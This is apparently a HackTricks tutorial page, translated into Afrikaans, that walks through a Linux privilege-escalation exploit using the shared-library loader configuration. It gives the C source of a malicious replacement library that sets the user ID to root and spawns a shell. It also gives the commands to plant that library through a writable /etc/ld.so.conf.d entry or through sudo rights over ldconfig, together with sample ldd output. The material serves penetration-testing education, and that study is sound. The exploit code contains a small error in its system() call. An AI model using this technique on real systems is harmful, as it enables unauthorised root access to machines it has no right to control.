ld.so privesc exploit voorbeeld
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Berei die omgewing voor
In die volgende afdeling kan jy die kode van die lĂȘers vind wat ons gaan gebruik om die omgewing voor te berei
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
- Skep daardie lĂȘers op jou masjien in dieselfde gids
- Kompileer die biblioteek:
gcc -shared -o libcustom.so -fPIC libcustom.c
- Kopieer
libcustom.so
na/usr/lib
:sudo cp libcustom.so /usr/lib
(root privs) - Kompileer die uitvoerbare:
gcc sharedvuln.c -o sharedvuln -lcustom
Kontroleer die omgewing
Kontroleer dat libcustom.so gelaai word vanaf /usr/lib en dat jy die binĂȘre kan uitvoer.
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploit
In hierdie scenario gaan ons veronderstel dat iemand 'n kwesbare ingang geskep het binne 'n lĂȘer in /etc/ld.so.conf/:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
Die kwesbare gids is /home/ubuntu/lib (waar ons skryfbare toegang het).
Laai en kompileer die volgende kode binne daardie pad:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
Nou dat ons die kwaadwillige libcustom biblioteek binne die verkeerd geconfigureerde pad geskep het, moet ons wag vir 'n herlaai of vir die root gebruiker om ldconfig
uit te voer (in die geval dat jy hierdie binaire as sudo kan uitvoer of dit die suid bit het, sal jy dit self kan uitvoer).
Sodra dit gebeur het, herkontroleer waar die sharevuln
uitvoerbare lĂȘer die libcustom.so
biblioteek laai vanaf:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
Soos jy kan sien, dit laai dit vanaf /home/ubuntu/lib
en as enige gebruiker dit uitvoer, sal 'n shell uitgevoer word:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
note
Let daarop dat ons in hierdie voorbeeld nie bevoegdhede verhoog het nie, maar deur die opdragte wat uitgevoer word te verander en te wag vir root of 'n ander bevoegde gebruiker om die kwesbare binĂȘre uit te voer sal ons in staat wees om bevoegdhede te verhoog.
Ander miskonfigurasies - Dieselfde kwesbaarheid
In die vorige voorbeeld het ons 'n miskonfigurasie gefak waar 'n administrateur 'n nie-bevoegde gids binne 'n konfigurasie-lĂȘer binne /etc/ld.so.conf.d/
gestel het.
Maar daar is ander miskonfigurasies wat dieselfde kwesbaarheid kan veroorsaak, as jy skryfregte in 'n of ander konfigurasie-lĂȘer binne /etc/ld.so.conf.d
s, in die gids /etc/ld.so.conf.d
of in die lĂȘer /etc/ld.so.conf
het, kan jy dieselfde kwesbaarheid konfigureer en dit benut.
Exploit 2
Neem aan jy het sudo bevoegdhede oor ldconfig
.
Jy kan aan dui ldconfig
waar om die konfigurasie-lĂȘers van te laai, sodat ons dit kan benut om ldconfig
willekeurige gidse te laat laai.
So, kom ons skep die lĂȘers en gidse wat nodig is om "/tmp" te laai:
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
Nou, soos aangedui in die vorige exploit, skep die kwaadwillige biblioteek binne /tmp
.
En laastens, laat ons die pad laai en kyk waar die binĂȘre die biblioteek van laai:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
Soos wat jy kan sien, kan jy die dieselfde kwesbaarheid benut deur sudo-regte oor ldconfig
te hĂȘ.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.